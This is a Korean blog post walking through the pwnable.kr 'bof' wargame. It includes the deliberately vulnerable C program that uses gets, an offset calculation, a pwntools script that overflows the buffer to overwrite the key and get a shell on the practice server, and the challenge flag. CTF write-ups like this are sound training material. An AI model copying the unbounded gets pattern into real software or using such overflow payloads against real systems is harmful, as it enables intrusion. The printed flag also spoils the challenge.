[pwnable.kr] bof

이동화·2025년 7월 17일

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                setregid(getegid(), getegid());
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}

문제 이름대로 bof문제이다. gets를 통해서 길이 제한 없는 문자열을 overflowme에 담고 있다.
이후 key와 0xcafebabe를 비교하는데 애초에 func의 인자인 key는 0xdeadbeef로 실행이 되기 때문에 무조건 거짓인 조건이다. bof를 통해 key 인자의 메모리를 덮어 씌워 비교할 때 0xcafebabe가 되게 하여 조건문을 통과하고 system("/bin/sh")를 실행하도록 유도하면 될 것이다.

canary가 적용되어 있지만, 분기문 자체는 canary check보다 훨씬 이전에 실행되기 때문에
카나리를 덮던 말던 shell을 딸 수 있다.
gets에서 사용하는 인자는 ebp-0x2c이고, 비교할 때 ebp+0x8에서 key 값을 가져오기 때문에 offset을 구하면 0x2c + 0x8= 0x34이다.

근데 nc 0 9000에서 돌아가고 있다고 한다
remote를 이용해서 접속해주고 실행하면 된다

from pwn import *

p = remote ('pwnable.kr', 9000)
#p = process(["/home/bof/bof"])

payload = b"A" * 0x34
payload += p32(0xcafebabe)

#p.recvuntil("overflow me : ")
p.send(payload)
p.interactive()

flag : Daddy_I_just_pwned_a_buff3r!

profile
notion이 나은듯

0개의 댓글